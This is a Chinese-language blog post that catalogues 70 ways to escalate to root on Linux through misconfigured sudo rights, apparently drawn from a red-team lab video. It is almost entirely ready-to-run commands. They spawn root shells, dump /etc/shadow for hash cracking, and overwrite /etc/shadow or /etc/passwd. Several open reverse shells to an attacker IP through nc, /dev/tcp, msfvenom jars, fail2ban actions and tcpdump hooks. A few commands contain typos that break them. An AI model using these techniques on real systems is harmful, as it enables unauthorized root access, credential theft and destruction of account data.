Linux提權-70種sudo提權彙總

Ling-X5發表於2024-08-29

Linux 提權-sudo

命令有 sudo 的許可權,我們該如何進行提權呢?

跟著紅隊筆記大佬,彙總了一下當我們有sudo -l時,70條命令可以提權的sudo風暴

影片連線: https://www.bilibili.com/video/BV1DV4y1U7bT/?share_source=copy_web&vd_source=385653377c3ce2be6b055cc4a2e9c3cf

1) CVE-2019-14287

要求:sudo 版本 <= 1.8.28

sudo -l

看到

(ALL,!root) NOPASSWD:/bin/bash

解釋:可以用任何 非root使用者 執行 /bin/bash 命令,也就是我們可以切換到任何非 root 使用者

執行:

sudo -u#-1 /bin/bash

因為 sudo 演算法比較特殊,他會把-1 看成 0,所以我們就獲得了 root 的/bin/bash

2)apt

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

啟動一個 /bin/bash 會話

3)apache2

sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmk$OXA.dwMe0AcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::',perhaps misspelled or defined by a module not included in the server configuration

可以看到它會暴露出 /etc/shadow 第一行的資訊。

把引號裡的 hash 值,拿到去 john 破解,破解出來就可以提權到 root,破解失敗就不可以。

4)ash

sudo ash

ash 本身就是一個 shell

5)awk

sudo awk 'BEGIN {system("/bin/bash")}'

傳遞給 awk,引數執行命令

6)base64

sudo base64 /etc/shadow | base64 -d

可以用 base64 檢視 /etc/shadow 檔案,之後去破解 hash 值,完成提權

7)bash

sudo bash

8)cp

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

TF=(mktemp)

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > $TF

sudo /usr/bin/cp $TF /etc/shadow

mkpasswd 生成密碼的 hash 值,再把密碼按照 /etc/shadow 的格式寫入 mktemp 臨時生成的檔案中,在透過 cp 命令覆蓋掉原來的 /etc/shadow 檔案

需要注意的是:

這種操作是有損的,因為他是覆蓋掉我們原有的 /etc/shadow 檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者

9)cpulimit

sudo cpulimit -l 100 -f /bin/bash

10)curl

kali 準備

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' > root_shadow

php -S 0:80

靶機執行:

curl http://192.168.84.128/root_shadow -o /etc/shadow

192.168.84.128 是 kali 的 ip 地址,-o 指定覆寫檔案

需要注意的是:

這種操作是有損的,因為他是覆寫我們原有的 /etc/shadow 檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者

11)date

sudo date -f /etc/shadow 

-f 指定從檔案中讀取時間

報錯,但會暴露出 root 使用者的 hash 值,把 hash 值複製出來,用 john 破解,破解成功可以提權,破解失敗就不可以

12)dd(Data Duplicator)

可以用來進行資料備份、克隆磁碟、建立 ISO 映象檔案等操作。

mkpasswd -m sha-512 123456

$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/

echo 'root:$6$OVS9vZLjXNT67Okt$zUAsr7tOfb21O3Cbh1rM08rTtiX2piXRPG1Y1EPqIMyH.DI59SeBugZYB9SK7cOiXV0OEQ9YDDoCDFuy9s7Kk/:19870:0:99999:7:::' | sudo dd -of=/etc/shadow

需要注意的是:

這種操作是有損的,因為他是覆寫我們原有的 /etc/shadow 檔案,所以執行之後我們的靶機或系統中會只存在我們寫入的一個 root 使用者

13)dstat

它有引數可以指定外掛

find / -name dstat -type d 2> /dev/null
/usr/share/dstat

vim dstat_lingx5.py

寫入

import os; os.execv("/bin/bash",["bash"])

複製到外掛目錄

cp dstat_lingx5.py /usr/share/dstat

執行

sudo dstat --lingx5

14)ed

是一個編輯器

sudo /usr/bin/ed
!/bin/bash

進入 ed 編輯模式,用 ! 號告訴系統,啟動系統命令

15)env

sudo env /bin/bash

16)exiftool

vi payload

寫入

(metadata "\c${system('/bin/bash')};")

執行

bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
sudo exiftool exploit.djvu

17)expect

sudo expect -c "spawn /bin/bash;interact"

18)fail2ban

Fail2ban 是一款流行的開源入侵防護軟體,用於保護伺服器免受暴力破解等攻擊。它再出發特定的告警後,會執行相應的規則

a) 更改 fail2ban 配置

find / -name "fail2ban*" -type d 2> /dev/null

/etc/fail2ban

檢視是否可寫

find /etc -wirtable -type d 2> /dev/null

/etc/fail2ban/action.d

我們可以修改 action.d,他是出發告警後,規定執行規則的指令碼目錄,裡邊的 iptables-multiports.conf 規定了具體的執行

檢視觸發規則

vim /etc/fail2ban/jail.conf

執行

mv iptables-multiports.conf iptables-multiports.conf.bak
cp iptables-multiports.conf.bak iptables-multiports.conf

這樣 iptables-multiports.conf 這個檔案我們就可以編輯了,這個檔案的屬組就屬於我們了

編輯

vi iptables-multiports.conf

# 找到actionban的一行,他是決定我們觸發告警後,fail2ban具體要執行命令的
# 改為
actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 4444 > /tmp/f

192.168.84.128 是 kali 攻擊機

重啟服務

sudo fail2ban restart

b) kali 觸發告警

先建立監聽, 埠與編輯的 actionban 的埠一致

sudo nc -lvnp 4444

連續 5 次,空密碼即可 (這裡是根據 /etc/fail2ban/jail.conf 檔案裡的規則確定的)

sudo ssh lingx5@192.168.84.140

192.168.84.140 是目標機器

反彈回來的 shell 就是 root 許可權

19)find

sudo find / -exec /bin/bash \; -quit

20)flock

sudo flock -u / /bin/bash

21)ftp

sudo ftp
ftp> !/bin/bash

22)gcc

sudo gcc -wrapper /bin/bash,-s .

23)gdb

sudo gdb -nx -ex '!bash' -ex quit

24)git

sudo git branch --help

輸入

!/bin/bash

25)gzip/gunzip

gzip -f /etc/shadow -t

拿到 hash 值,用 john 去破解

26)hping3

sudo hping3
hping3> !/bin/bash

27)iftop

sudo iftop
!/bin/bash

28)java

在 kail 中,生成反彈 shell

sudo msfvenom -p java/shell_reverse_tcp LHOST=192.168.84.128 LPORT=4444 -f jar -o shell.jar

192.168.84.128 為 kali 的 ip 地址

建立web伺服器

sudo php -S 0:80

# 建立監聽
nc -lnvp 4444

在目標機器上下載並執行

wget http://192.168.84.128/shell.jar 

chmod +x shell.jar

sudo java -jar shell.jar

29)jjs

kali中建立監聽

sudo -lvnp 4444

在被攻擊機輸入

echo "java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/192.168.84.128/4444;cat <&5 | while read line; do \$line 2>&5>&5;done']).waitFor()" | sudo jjs

反彈回來執行,想要提高互動性,我們就在反彈一次

# kali中監聽
nc -lvnp 5555

# 4444彈回來的shell執行
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.84.128 5555 > /tmp/f

30)journalctl

sudo journalctl
!/bin/bash

31)knife

sudo knife exec -E 'exec "/bin/bash"'

32)less

mktemp ./a
rtcpgt
sudo less rtcpgt

# 輸入
!/bin/bash

33)man

sudo man ls
!/bin/bash

34)more

mktemp ./a
rtcpgt

yes root > rtcpgt
sudo more rtcpgt
!/bin/bash

35)mount

sudo mount -o bind /bin/bash /usr/bin/mount
sudo mount

36)mysql

sudo mysql -e '\! /bin/bash'

37)nano

sudo nano
^R
^X
reset;bash 1>&0 2>&0

多按幾次回車

38)neofetch

TP=$(mktemp)
echo 'exec /bin/bash' > $TP
sudo neofetch --config $TP

39)nice

sudo nice /bin/bash

40)nmap

TP=$(mktemp)
ehco 'os.execute("/bin/bash")' > $TP
sudo nmap --script=$TP

41)node

sudo node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"

42)nohub

sudo nohub /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

43)openvpn

sudo openvpn --config /etc/shadow

拿到hash值,到john破解

44)passwd

sudo passwd root
123456

45)perl

sudo perl -e 'exec "/bin/bash";'

46) php

sudo php -r "system('/bin/bash');"

47)pico

sudo pico
^R
^X
reset;bash 1>&0 2>&0

多按幾次回車

48)pkexec

sudo pkexec /bin/bash

49)python3

sudo python3 -c "import os;os.system('/bin/bash')"

50)rvim

sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'

51)scp

TP=$(mktemp)
echo 'bash 0<&2 1<&2' > $TP
chmod $TP
sudo scp -S $TP x y:

52)screen

sudo screen

按回車

53)script

sudo script -q /dev/null

54)sed

sudo sed -n '1e exec /bin/bash 1>&0' /etc/hosts

55)service

sudo service ../../bin/bash 

56)socat

sudo socat stdin exec:/bin/bash

57)ssh

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x

58)ssh-keygen

vim temp.c

寫入

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
static void inject()__attribute__((constructor));

void inject() {
    setuid(0);
    system("/bin/bash -p");
}

編譯

gcc -shared -fPIC -o temp.so temp.c

提權

sudo ssh-keygen -D ./temp.so

59)strace

sudo strace -o /dev/null /bin/bash

60)systemctl

sudo systemctl
!/bin/bash

61)tcpdump

vim temp.sh

寫入

mknod temp_pipe p && /bin/nc 192.168.84.128 4444 0<temp_pipe | /bin/bash 1>temp_pipe

kali建立監聽

sudo nc -lvnp 4444

執行

chmod +x temp.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root

62)tee

echo 'lingx5::0:0:root:root:/usr/bin/bash' | sudo tee -a /etc/passwd
su lingx5

63)timedatectl

sudo timedatectl list-timezones
!/bin/bash

64)tmux

sudo tmux

65)vi

sudo vi
:!/bin/bash

sudo vi -c ':/bin/bash'

66)wall

sudo wall /etc/shadow

看到hash,用john破解

67)watch

sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

68)wget

TP=$(mktemp)
chmod +x $TP
echo '/bin/bash 1>&0 ' > $TP
sudo wget --use-askpass=$TP 0

69)zip

sudo zip foo /etc/hostname -T -TT 'bash #'

70)xxd

sudo xxd /etc/shadow | xxd -r

拿到hash值,去john破解

相關文章